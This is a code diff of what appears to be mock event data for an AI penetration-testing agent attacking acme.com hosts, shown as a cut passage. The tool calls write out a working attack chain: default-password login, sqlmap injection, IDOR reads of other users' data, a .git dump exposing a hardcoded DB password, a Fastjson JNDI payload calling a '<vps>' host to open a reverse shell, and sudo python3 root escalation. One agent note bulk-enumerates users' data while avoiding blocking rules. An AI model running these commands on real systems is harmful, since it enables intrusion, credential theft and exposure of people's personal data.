+ cache_read_tokens: 61000, + cache_write_tokens: 9000, + }, // work#2 · i2 后台默认口令(done,证明 g1) - { seq: 20, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:31:00Z"), kind: "thinking", summary: "后台是 Element-UI,登录接口无验证码、无速率限制。先试默认口令表,再上字典。" }, - { seq: 21, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:32:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t21", summary: "curl -s -d 'username=admin&password=admin' https://admin.acme.com/login -o /dev/null -w '%{http_code}'" }, - { seq: 22, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:32:03Z"), kind: "tool_result", tool: "bash", tool_use_id: "t21", summary: "401", detail: "admin/admin 失败。" }, - { seq: 23, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:32:30Z"), kind: "tool_use", tool: "bash", tool_use_id: "t22", summary: "curl -si -d 'username=admin&password=admin123' https://admin.acme.com/login" }, - { seq: 24, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:32:33Z"), kind: "tool_result", tool: "bash", tool_use_id: "t22", summary: "HTTP/1.1 302 Found\nSet-Cookie: session=eyJ…; HttpOnly\nLocation: /dashboard", detail: "admin/admin123 登录成功,拿到会话 cookie。" }, - { seq: 25, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:33:10Z"), kind: "tool_use", tool: "bash", tool_use_id: "t23", summary: "curl -s -b 'session=eyJ…' https://admin.acme.com/dashboard | grep -o '[^<]*'" }, - { seq: 26, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:33:12Z"), kind: "tool_result", tool: "bash", tool_use_id: "t23", summary: "<title>Acme Admin · 控制台", detail: "确认已进入后台控制台。" }, - { seq: 27, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:34:00Z"), kind: "tool_use", tool: "report_finding", tool_use_id: "t24", summary: "report_finding(Default Credentials, high)" }, - { seq: 28, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:34:01Z"), kind: "tool_result", tool: "report_finding", tool_use_id: "t24", summary: "finding f-6 已记录,并连到目标 g1(proves)" }, - { seq: 29, worker: "work#2", intent_id: "i2", ts: T("2026-07-26T03:50:00Z"), kind: "result", summary: "后台默认口令确认,目标①达成。", input_tokens: 72000, output_tokens: 4800, cache_read_tokens: 48000, cache_write_tokens: 7200 }, + { + seq: 20, + worker: "work#2", + intent_id: "i2", + ts: T("2026-07-26T03:31:00Z"), + kind: "thinking", + summary: "后台是 Element-UI,登录接口无验证码、无速率限制。先试默认口令表,再上字典。", + }, + { + seq: 21, + worker: "work#2", + intent_id: "i2", + ts: T("2026-07-26T03:32:00Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "t21", + summary: "curl -s -d 'username=admin&password=admin' https://admin.acme.com/login -o /dev/null -w '%{http_code}'", + }, + { + seq: 22, + worker: "work#2", + intent_id: "i2", + ts: T("2026-07-26T03:32:03Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "t21", + summary: "401", + detail: "admin/admin 失败。", + }, + { + seq: 23, + worker: "work#2", + intent_id: "i2", + ts: T("2026-07-26T03:32:30Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "t22", + summary: "curl -si -d 'username=admin&password=admin123' https://admin.acme.com/login", + }, + { + seq: 24, + worker: "work#2", + intent_id: "i2", + ts: T("2026-07-26T03:32:33Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "t22", + summary: "HTTP/1.1 302 Found\nSet-Cookie: session=eyJ…; HttpOnly\nLocation: /dashboard", + detail: "admin/admin123 登录成功,拿到会话 cookie。", + }, + { + seq: 25, + worker: "work#2", + intent_id: "i2", + ts: T("2026-07-26T03:33:10Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "t23", + summary: "curl -s -b 'session=eyJ…' https://admin.acme.com/dashboard | grep -o '<title>[^<]*'", + }, + { + seq: 26, + worker: "work#2", + intent_id: "i2", + ts: T("2026-07-26T03:33:12Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "t23", + summary: "<title>Acme Admin · 控制台", + detail: "确认已进入后台控制台。", + }, + { + seq: 27, + worker: "work#2", + intent_id: "i2", + ts: T("2026-07-26T03:34:00Z"), + kind: "tool_use", + tool: "report_finding", + tool_use_id: "t24", + summary: "report_finding(Default Credentials, high)", + }, + { + seq: 28, + worker: "work#2", + intent_id: "i2", + ts: T("2026-07-26T03:34:01Z"), + kind: "tool_result", + tool: "report_finding", + tool_use_id: "t24", + summary: "finding f-6 已记录,并连到目标 g1(proves)", + }, + { + seq: 29, + worker: "work#2", + intent_id: "i2", + ts: T("2026-07-26T03:50:00Z"), + kind: "result", + summary: "后台默认口令确认,目标①达成。", + input_tokens: 72000, + output_tokens: 4800, + cache_read_tokens: 48000, + cache_write_tokens: 7200, + }, // work#4 · i4 SQL 注入(done) - { seq: 40, worker: "work#4", intent_id: "i4", ts: T("2026-07-25T22:01:00Z"), kind: "thinking", summary: "search?q= 结果页把 q 拼进标题,先手工加单引号看报错。" }, - { seq: 41, worker: "work#4", intent_id: "i4", ts: T("2026-07-25T22:02:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t41", summary: "curl -s \"https://www.acme.com/search?q=1'\" | grep -i 'sql\\|syntax'" }, - { seq: 42, worker: "work#4", intent_id: "i4", ts: T("2026-07-25T22:02:04Z"), kind: "tool_result", tool: "bash", tool_use_id: "t41", summary: "Unclosed quotation mark ... near '1'.", detail: "MSSQL 报错型注入迹象。" }, - { seq: 43, worker: "work#4", intent_id: "i4", ts: T("2026-07-25T22:03:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t42", summary: "sqlmap -u 'https://www.acme.com/search?q=1' --batch --dbs --level 2" }, - { seq: 44, worker: "work#4", intent_id: "i4", ts: T("2026-07-26T01:18:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "t42", summary: "Parameter: q (GET) — error-based, MSSQL\navailable databases [4]: acme_prod, information_schema, master, tempdb", detail: "确认可注入,枚举出 4 个库。" }, - { seq: 45, worker: "work#4", intent_id: "i4", ts: T("2026-07-26T01:19:00Z"), kind: "tool_use", tool: "report_finding", tool_use_id: "t43", summary: "report_finding(SQL Injection, high)" }, - { seq: 46, worker: "work#4", intent_id: "i4", ts: T("2026-07-26T01:19:01Z"), kind: "tool_result", tool: "report_finding", tool_use_id: "t43", summary: "finding f-1 已记录" }, - { seq: 47, worker: "work#4", intent_id: "i4", ts: T("2026-07-26T01:20:00Z"), kind: "result", summary: "SQL 注入确认。", input_tokens: 118000, output_tokens: 7400, cache_read_tokens: 82000, cache_write_tokens: 11000 }, + { + seq: 40, + worker: "work#4", + intent_id: "i4", + ts: T("2026-07-25T22:01:00Z"), + kind: "thinking", + summary: "search?q= 结果页把 q 拼进标题,先手工加单引号看报错。", + }, + { + seq: 41, + worker: "work#4", + intent_id: "i4", + ts: T("2026-07-25T22:02:00Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "t41", + summary: "curl -s \"https://www.acme.com/search?q=1'\" | grep -i 'sql\\|syntax'", + }, + { + seq: 42, + worker: "work#4", + intent_id: "i4", + ts: T("2026-07-25T22:02:04Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "t41", + summary: "Unclosed quotation mark ... near '1'.", + detail: "MSSQL 报错型注入迹象。", + }, + { + seq: 43, + worker: "work#4", + intent_id: "i4", + ts: T("2026-07-25T22:03:00Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "t42", + summary: "sqlmap -u 'https://www.acme.com/search?q=1' --batch --dbs --level 2", + }, + { + seq: 44, + worker: "work#4", + intent_id: "i4", + ts: T("2026-07-26T01:18:00Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "t42", + summary: + "Parameter: q (GET) — error-based, MSSQL\navailable databases [4]: acme_prod, information_schema, master, tempdb", + detail: "确认可注入,枚举出 4 个库。", + }, + { + seq: 45, + worker: "work#4", + intent_id: "i4", + ts: T("2026-07-26T01:19:00Z"), + kind: "tool_use", + tool: "report_finding", + tool_use_id: "t43", + summary: "report_finding(SQL Injection, high)", + }, + { + seq: 46, + worker: "work#4", + intent_id: "i4", + ts: T("2026-07-26T01:19:01Z"), + kind: "tool_result", + tool: "report_finding", + tool_use_id: "t43", + summary: "finding f-1 已记录", + }, + { + seq: 47, + worker: "work#4", + intent_id: "i4", + ts: T("2026-07-26T01:20:00Z"), + kind: "result", + summary: "SQL 注入确认。", + input_tokens: 118000, + output_tokens: 7400, + cache_read_tokens: 82000, + cache_write_tokens: 11000, + }, // work#5 · i5 IDOR(running) - { seq: 50, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:31:00Z"), kind: "thinking", summary: "/v1/orders?id= 是数字自增 id,典型 IDOR 面。先取自己的单,再改 id 看能否读他人。" }, - { seq: 51, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:40:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t51", summary: "curl -s -H 'Authorization: Bearer <self>' https://api.acme.com/v1/orders?id=1001" }, - { seq: 52, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:40:02Z"), kind: "tool_result", tool: "bash", tool_use_id: "t51", summary: "{ \"order_id\":1001, \"user_id\":42, \"amount\":299 }", detail: "自己的订单,正常。" }, - { seq: 53, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:43:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t52", summary: "curl -s -H 'Authorization: Bearer <self>' https://api.acme.com/v1/orders?id=1002" }, - { seq: 54, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:43:02Z"), kind: "tool_result", tool: "bash", tool_use_id: "t52", summary: "{ \"order_id\":1002, \"user_id\":77, \"amount\":1299, \"phone\":\"138****6021\", \"address\":\"北京市朝阳区 ****\" }", detail: "越权读到他人订单(含手机号/地址),无归属校验。" }, - { seq: 55, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:44:00Z"), kind: "tool_use", tool: "report_finding", tool_use_id: "t53", summary: "report_finding(IDOR, high)" }, - { seq: 56, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T02:44:01Z"), kind: "tool_result", tool: "report_finding", tool_use_id: "t53", summary: "finding f-2 已记录" }, - { seq: 57, worker: "work#5", intent_id: "i5", ts: T("2026-07-26T03:58:10Z"), kind: "thinking", summary: "正在批量遍历 id 范围,评估可越权数据规模(暂不导出,避免触发拦截规则)。" }, + { + seq: 50, + worker: "work#5", + intent_id: "i5", + ts: T("2026-07-26T02:31:00Z"), + kind: "thinking", + summary: "/v1/orders?id= 是数字自增 id,典型 IDOR 面。先取自己的单,再改 id 看能否读他人。", + }, + { + seq: 51, + worker: "work#5", + intent_id: "i5", + ts: T("2026-07-26T02:40:00Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "t51", + summary: "curl -s -H 'Authorization: Bearer <self>' https://api.acme.com/v1/orders?id=1001", + }, + { + seq: 52, + worker: "work#5", + intent_id: "i5", + ts: T("2026-07-26T02:40:02Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "t51", + summary: '{ "order_id":1001, "user_id":42, "amount":299 }', + detail: "自己的订单,正常。", + }, + { + seq: 53, + worker: "work#5", + intent_id: "i5", + ts: T("2026-07-26T02:43:00Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "t52", + summary: "curl -s -H 'Authorization: Bearer <self>' https://api.acme.com/v1/orders?id=1002", + }, + { + seq: 54, + worker: "work#5", + intent_id: "i5", + ts: T("2026-07-26T02:43:02Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "t52", + summary: '{ "order_id":1002, "user_id":77, "amount":1299, "phone":"138****6021", "address":"北京市朝阳区 ****" }', + detail: "越权读到他人订单(含手机号/地址),无归属校验。", + }, + { + seq: 55, + worker: "work#5", + intent_id: "i5", + ts: T("2026-07-26T02:44:00Z"), + kind: "tool_use", + tool: "report_finding", + tool_use_id: "t53", + summary: "report_finding(IDOR, high)", + }, + { + seq: 56, + worker: "work#5", + intent_id: "i5", + ts: T("2026-07-26T02:44:01Z"), + kind: "tool_result", + tool: "report_finding", + tool_use_id: "t53", + summary: "finding f-2 已记录", + }, + { + seq: 57, + worker: "work#5", + intent_id: "i5", + ts: T("2026-07-26T03:58:10Z"), + kind: "thinking", + summary: "正在批量遍历 id 范围,评估可越权数据规模(暂不导出,避免触发拦截规则)。", + }, // work#3 · i3 后台用户接口枚举(running) - { seq: 60, worker: "work#3", intent_id: "i3", ts: T("2026-07-26T03:56:00Z"), kind: "thinking", summary: "已有后台会话,枚举管理接口,找能批量导出用户敏感数据的入口(目标②)。" }, - { seq: 61, worker: "work#3", intent_id: "i3", ts: T("2026-07-26T03:57:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t61", summary: "curl -s -b 'session=eyJ…' https://admin.acme.com/api/users?page=1" }, - { seq: 62, worker: "work#3", intent_id: "i3", ts: T("2026-07-26T03:57:02Z"), kind: "tool_result", tool: "bash", tool_use_id: "t61", summary: "{ \"total\": 12840, \"items\": [ { \"id\":1, \"email\":\"a***@acme.com\", \"phone\":\"139****\" } ] }", detail: "管理接口可分页返回全部用户(含邮箱/手机号),约 1.28 万条。" }, - { seq: 63, worker: "work#3", intent_id: "i3", ts: T("2026-07-26T03:58:20Z"), kind: "thinking", summary: "确认存在批量用户数据读取入口;导出动作命中破坏性/外泄规则,已提交拦截审批等待放行。" }, + { + seq: 60, + worker: "work#3", + intent_id: "i3", + ts: T("2026-07-26T03:56:00Z"), + kind: "thinking", + summary: "已有后台会话,枚举管理接口,找能批量导出用户敏感数据的入口(目标②)。", + }, + { + seq: 61, + worker: "work#3", + intent_id: "i3", + ts: T("2026-07-26T03:57:00Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "t61", + summary: "curl -s -b 'session=eyJ…' https://admin.acme.com/api/users?page=1", + }, + { + seq: 62, + worker: "work#3", + intent_id: "i3", + ts: T("2026-07-26T03:57:02Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "t61", + summary: '{ "total": 12840, "items": [ { "id":1, "email":"a***@acme.com", "phone":"139****" } ] }', + detail: "管理接口可分页返回全部用户(含邮箱/手机号),约 1.28 万条。", + }, + { + seq: 63, + worker: "work#3", + intent_id: "i3", + ts: T("2026-07-26T03:58:20Z"), + kind: "thinking", + summary: "确认存在批量用户数据读取入口;导出动作命中破坏性/外泄规则,已提交拦截审批等待放行。", + }, // workG · ig .git 源码泄露与硬编码凭据(done) - { seq: 310, worker: "workG", intent_id: "ig", ts: T("2026-07-25T20:26:00Z"), kind: "thinking", summary: "robots.txt 提到 /.git,先探测目录是否可下载,能拿源码就能白盒找注入点与硬编码密钥。" }, - { seq: 311, worker: "workG", intent_id: "ig", ts: T("2026-07-25T20:27:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "tg1", summary: "curl -s -o /dev/null -w '%{http_code}' https://www.acme.com/.git/HEAD" }, - { seq: 312, worker: "workG", intent_id: "ig", ts: T("2026-07-25T20:27:02Z"), kind: "tool_result", tool: "bash", tool_use_id: "tg1", summary: "200", detail: ".git 目录对外可访问。" }, - { seq: 313, worker: "workG", intent_id: "ig", ts: T("2026-07-25T20:28:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "tg2", summary: "git-dumper https://www.acme.com/.git/ /tmp/acme && git -C /tmp/acme log --oneline | head" }, - { seq: 314, worker: "workG", intent_id: "ig", ts: T("2026-07-25T20:30:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "tg2", summary: "还原 214 个文件;HEAD=main。config.php / db.php 在列。", detail: "完整后端源码已还原到 /tmp/acme。" }, - { seq: 315, worker: "workG", intent_id: "ig", ts: T("2026-07-25T20:34:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "tg3", summary: "grep -rniE 'password|pwd|secret|Data Source' /tmp/acme/config.php" }, - { seq: 316, worker: "workG", intent_id: "ig", ts: T("2026-07-25T20:34:03Z"), kind: "tool_result", tool: "bash", tool_use_id: "tg3", summary: "$db_user='sa'; $db_pass='Acme@2021'; $db_host='10.10.10.30';", detail: "硬编码数据库口令,且 host 指向内网 IP —— 记为疑似内网通用凭据。" }, - { seq: 317, worker: "workG", intent_id: "ig", ts: T("2026-07-25T20:36:00Z"), kind: "result", summary: "源码泄露 + 硬编码 DB 凭据确认,凭据入图供后续内网复用。", input_tokens: 88000, output_tokens: 5200, cache_read_tokens: 60000, cache_write_tokens: 8000 }, + { + seq: 310, + worker: "workG", + intent_id: "ig", + ts: T("2026-07-25T20:26:00Z"), + kind: "thinking", + summary: "robots.txt 提到 /.git,先探测目录是否可下载,能拿源码就能白盒找注入点与硬编码密钥。", + }, + { + seq: 311, + worker: "workG", + intent_id: "ig", + ts: T("2026-07-25T20:27:00Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "tg1", + summary: "curl -s -o /dev/null -w '%{http_code}' https://www.acme.com/.git/HEAD", + }, + { + seq: 312, + worker: "workG", + intent_id: "ig", + ts: T("2026-07-25T20:27:02Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "tg1", + summary: "200", + detail: ".git 目录对外可访问。", + }, + { + seq: 313, + worker: "workG", + intent_id: "ig", + ts: T("2026-07-25T20:28:00Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "tg2", + summary: "git-dumper https://www.acme.com/.git/ /tmp/acme && git -C /tmp/acme log --oneline | head", + }, + { + seq: 314, + worker: "workG", + intent_id: "ig", + ts: T("2026-07-25T20:30:00Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "tg2", + summary: "还原 214 个文件;HEAD=main。config.php / db.php 在列。", + detail: "完整后端源码已还原到 /tmp/acme。", + }, + { + seq: 315, + worker: "workG", + intent_id: "ig", + ts: T("2026-07-25T20:34:00Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "tg3", + summary: "grep -rniE 'password|pwd|secret|Data Source' /tmp/acme/config.php", + }, + { + seq: 316, + worker: "workG", + intent_id: "ig", + ts: T("2026-07-25T20:34:03Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "tg3", + summary: "$db_user='sa'; $db_pass='Acme@2021'; $db_host='10.10.10.30';", + detail: "硬编码数据库口令,且 host 指向内网 IP —— 记为疑似内网通用凭据。", + }, + { + seq: 317, + worker: "workG", + intent_id: "ig", + ts: T("2026-07-25T20:36:00Z"), + kind: "result", + summary: "源码泄露 + 硬编码 DB 凭据确认,凭据入图供后续内网复用。", + input_tokens: 88000, + output_tokens: 5200, + cache_read_tokens: 60000, + cache_write_tokens: 8000, + }, // work#6 · i6 shop 指纹与 CVE 关联(done) - { seq: 320, worker: "work#6", intent_id: "i6", ts: T("2026-07-25T14:22:00Z"), kind: "thinking", summary: "shop.acme.com 是自研电商,先指纹识别框架/组件版本,再对存在已知反序列化的组件下手。" }, - { seq: 321, worker: "work#6", intent_id: "i6", ts: T("2026-07-25T14:24:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t6a", summary: "curl -si https://shop.acme.com/ | grep -iE 'x-powered-by|server|jsessionid'" }, - { seq: 322, worker: "work#6", intent_id: "i6", ts: T("2026-07-25T14:24:03Z"), kind: "tool_result", tool: "bash", tool_use_id: "t6a", summary: "X-Powered-By: Servlet\nSet-Cookie: JSESSIONID=...", detail: "Java 技术栈,存在 /api/import 接受 JSON body。" }, - { seq: 323, worker: "work#6", intent_id: "i6", ts: T("2026-07-25T14:30:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t6b", summary: "curl -s -H 'Content-Type: application/json' -d '{\"a\":{\"@type\":\"java.lang.AutoCloseable\"}}' https://shop.acme.com/api/import" }, - { seq: 324, worker: "work#6", intent_id: "i6", ts: T("2026-07-25T14:31:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "t6b", summary: "报错栈含 com.alibaba.fastjson.JSONException(1.2.24)", detail: "确认 Fastjson 1.2.24 —— 对应 JdbcRowSetImpl JNDI 注入 RCE。" }, - { seq: 325, worker: "work#6", intent_id: "i6", ts: T("2026-07-25T14:40:00Z"), kind: "result", summary: "指纹命中 Fastjson 1.2.24,反序列化 RCE 面成立,交给利用意图。", input_tokens: 64000, output_tokens: 4100, cache_read_tokens: 42000, cache_write_tokens: 6000 }, + { + seq: 320, + worker: "work#6", + intent_id: "i6", + ts: T("2026-07-25T14:22:00Z"), + kind: "thinking", + summary: "shop.acme.com 是自研电商,先指纹识别框架/组件版本,再对存在已知反序列化的组件下手。", + }, + { + seq: 321, + worker: "work#6", + intent_id: "i6", + ts: T("2026-07-25T14:24:00Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "t6a", + summary: "curl -si https://shop.acme.com/ | grep -iE 'x-powered-by|server|jsessionid'", + }, + { + seq: 322, + worker: "work#6", + intent_id: "i6", + ts: T("2026-07-25T14:24:03Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "t6a", + summary: "X-Powered-By: Servlet\nSet-Cookie: JSESSIONID=...", + detail: "Java 技术栈,存在 /api/import 接受 JSON body。", + }, + { + seq: 323, + worker: "work#6", + intent_id: "i6", + ts: T("2026-07-25T14:30:00Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "t6b", + summary: + 'curl -s -H \'Content-Type: application/json\' -d \'{"a":{"@type":"java.lang.AutoCloseable"}}\' https://shop.acme.com/api/import', + }, + { + seq: 324, + worker: "work#6", + intent_id: "i6", + ts: T("2026-07-25T14:31:00Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "t6b", + summary: "报错栈含 com.alibaba.fastjson.JSONException(1.2.24)", + detail: "确认 Fastjson 1.2.24 —— 对应 JdbcRowSetImpl JNDI 注入 RCE。", + }, + { + seq: 325, + worker: "work#6", + intent_id: "i6", + ts: T("2026-07-25T14:40:00Z"), + kind: "result", + summary: "指纹命中 Fastjson 1.2.24,反序列化 RCE 面成立,交给利用意图。", + input_tokens: 64000, + output_tokens: 4100, + cache_read_tokens: 42000, + cache_write_tokens: 6000, + }, // work#7 · i7 反序列化 RCE 拿反弹 shell(done,证明 g3) - { seq: 330, worker: "work#7", intent_id: "i7", ts: T("2026-07-25T15:12:00Z"), kind: "thinking", summary: "起一个 JNDI/LDAP 恶意服务,让 shop 反连加载执行 payload,先 dnslog 验证出网,再落反弹 shell。" }, - { seq: 331, worker: "work#7", intent_id: "i7", ts: T("2026-07-25T15:15:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t7a", summary: "java -jar JNDIExploit.jar -i <vps> -l 1389 & # 起 LDAP/HTTP 恶意服务" }, - { seq: 332, worker: "work#7", intent_id: "i7", ts: T("2026-07-25T15:16:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "t7a", summary: "LDAP Server started on 1389, HTTP on 8180", detail: "恶意服务就绪。" }, - { seq: 333, worker: "work#7", intent_id: "i7", ts: T("2026-07-25T15:20:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t7b", summary: "curl -s -H 'Content-Type: application/json' -d '{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://<vps>:1389/Basic/ReverseShell/<vps>/4444\",\"autoCommit\":true}' https://shop.acme.com/api/import" }, - { seq: 334, worker: "work#7", intent_id: "i7", ts: T("2026-07-25T15:21:00Z"), kind: "tool_result", tool: "bash", tool_use_id: "t7b", summary: "LDAP 收到请求 → 加载 ReverseShell → nc 监听收到连接", detail: "payload 成功触发。" }, - { seq: 335, worker: "work#7", intent_id: "i7", ts: T("2026-07-25T15:24:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t7c", summary: "id; hostname -I # 反弹 shell 内确认身份与网段" }, - { seq: 336, worker: "work#7", intent_id: "i7", ts: T("2026-07-25T15:24:02Z"), kind: "tool_result", tool: "bash", tool_use_id: "t7c", summary: "uid=33(www-data) gid=33 groups=33\n10.0.20.15 10.10.10.15", detail: "www-data@dmz-web01,且第二网卡 10.10.10.x —— 已进入 DMZ 且贴内网。" }, - { seq: 337, worker: "work#7", intent_id: "i7", ts: T("2026-07-25T15:30:00Z"), kind: "tool_use", tool: "report_finding", tool_use_id: "t7d", summary: "report_finding(Deserialization RCE, high)" }, - { seq: 338, worker: "work#7", intent_id: "i7", ts: T("2026-07-25T15:40:00Z"), kind: "result", summary: "反序列化 RCE 拿到 www-data 反弹 shell,目标③立足点初步建立。", input_tokens: 132000, output_tokens: 8600, cache_read_tokens: 90000, cache_write_tokens: 12000 }, + { + seq: 330, + worker: "work#7", + intent_id: "i7", + ts: T("2026-07-25T15:12:00Z"), + kind: "thinking", + summary: "起一个 JNDI/LDAP 恶意服务,让 shop 反连加载执行 payload,先 dnslog 验证出网,再落反弹 shell。", + }, + { + seq: 331, + worker: "work#7", + intent_id: "i7", + ts: T("2026-07-25T15:15:00Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "t7a", + summary: "java -jar JNDIExploit.jar -i <vps> -l 1389 & # 起 LDAP/HTTP 恶意服务", + }, + { + seq: 332, + worker: "work#7", + intent_id: "i7", + ts: T("2026-07-25T15:16:00Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "t7a", + summary: "LDAP Server started on 1389, HTTP on 8180", + detail: "恶意服务就绪。", + }, + { + seq: 333, + worker: "work#7", + intent_id: "i7", + ts: T("2026-07-25T15:20:00Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "t7b", + summary: + 'curl -s -H \'Content-Type: application/json\' -d \'{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://<vps>:1389/Basic/ReverseShell/<vps>/4444","autoCommit":true}\' https://shop.acme.com/api/import', + }, + { + seq: 334, + worker: "work#7", + intent_id: "i7", + ts: T("2026-07-25T15:21:00Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "t7b", + summary: "LDAP 收到请求 → 加载 ReverseShell → nc 监听收到连接", + detail: "payload 成功触发。", + }, + { + seq: 335, + worker: "work#7", + intent_id: "i7", + ts: T("2026-07-25T15:24:00Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "t7c", + summary: "id; hostname -I # 反弹 shell 内确认身份与网段", + }, + { + seq: 336, + worker: "work#7", + intent_id: "i7", + ts: T("2026-07-25T15:24:02Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "t7c", + summary: "uid=33(www-data) gid=33 groups=33\n10.0.20.15 10.10.10.15", + detail: "www-data@dmz-web01,且第二网卡 10.10.10.x —— 已进入 DMZ 且贴内网。", + }, + { + seq: 337, + worker: "work#7", + intent_id: "i7", + ts: T("2026-07-25T15:30:00Z"), + kind: "tool_use", + tool: "report_finding", + tool_use_id: "t7d", + summary: "report_finding(Deserialization RCE, high)", + }, + { + seq: 338, + worker: "work#7", + intent_id: "i7", + ts: T("2026-07-25T15:40:00Z"), + kind: "result", + summary: "反序列化 RCE 拿到 www-data 反弹 shell,目标③立足点初步建立。", + input_tokens: 132000, + output_tokens: 8600, + cache_read_tokens: 90000, + cache_write_tokens: 12000, + }, // work#8 · i8 立足点提权(done) - { seq: 340, worker: "work#8", intent_id: "i8", ts: T("2026-07-25T16:02:00Z"), kind: "thinking", summary: "www-data 权限有限,先做本地信息收集找提权点:sudo 配置、SUID、内核版本。" }, - { seq: 341, worker: "work#8", intent_id: "i8", ts: T("2026-07-25T16:05:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t8a", summary: "sudo -n -l 2>/dev/null; find / -perm -4000 -type f 2>/dev/null | head" }, - { seq: 342, worker: "work#8", intent_id: "i8", ts: T("2026-07-25T16:05:03Z"), kind: "tool_result", tool: "bash", tool_use_id: "t8a", summary: "User www-data may run: (ALL) NOPASSWD: /usr/bin/python3", detail: "sudo 白名单里 python3 且免密 —— 直接可提权。" }, - { seq: 343, worker: "work#8", intent_id: "i8", ts: T("2026-07-25T16:10:00Z"), kind: "tool_use", tool: "bash", tool_use_id: "t8b", summary: "sudo python3 -c 'import os;os.setuid(0);os.system(\"id\")'" }, - { seq: 344, worker: "work#8", intent_id: "i8", ts: T("2026-07-25T16:10:02Z"), kind: "tool_result", tool: "bash", tool_use_id: "t8b", summary: "uid=0(root) gid=0(root) groups=0(root)", detail: "已提权 root。" }, - { seq: 345, worker: "work#8", intent_id: "i8", ts: T("2026-07-25T16:14:00Z"), kind: "tool_use", tool: "report_finding", tool_use_id: "t8c", summary: "report_finding(Privilege Escalation, high)" }, - { seq: 346, worker: "work#8", intent_id: "i8", ts: T("2026-07-25T16:20:00Z"), kind: "result", summary: "本地提权 root 完成,立足点稳固;准备以其为 pivot 打内网。", input_tokens: 74000, output_tokens: 4700, cache_read_tokens: 50000, cache_write_tokens: 7000 }, + { + seq: 340, + worker: "work#8", + intent_id: "i8", + ts: T("2026-07-25T16:02:00Z"), + kind: "thinking", + summary: "www-data 权限有限,先做本地信息收集找提权点:sudo 配置、SUID、内核版本。", + }, + { + seq: 341, + worker: "work#8", + intent_id: "i8", + ts: T("2026-07-25T16:05:00Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "t8a", + summary: "sudo -n -l 2>/dev/null; find / -perm -4000 -type f 2>/dev/null | head", + }, + { + seq: 342, + worker: "work#8", + intent_id: "i8", + ts: T("2026-07-25T16:05:03Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "t8a", + summary: "User www-data may run: (ALL) NOPASSWD: /usr/bin/python3", + detail: "sudo 白名单里 python3 且免密 —— 直接可提权。", + }, + { + seq: 343, + worker: "work#8", + intent_id: "i8", + ts: T("2026-07-25T16:10:00Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "t8b", + summary: "sudo python3 -c 'import os;os.setuid(0);os.system(\"id\")'", + }, + { + seq: 344, + worker: "work#8", + intent_id: "i8", + ts: T("2026-07-25T16:10:02Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "t8b", + summary: "uid=0(root) gid=0(root) groups=0(root)", + detail: "已提权 root。", + }, + { + 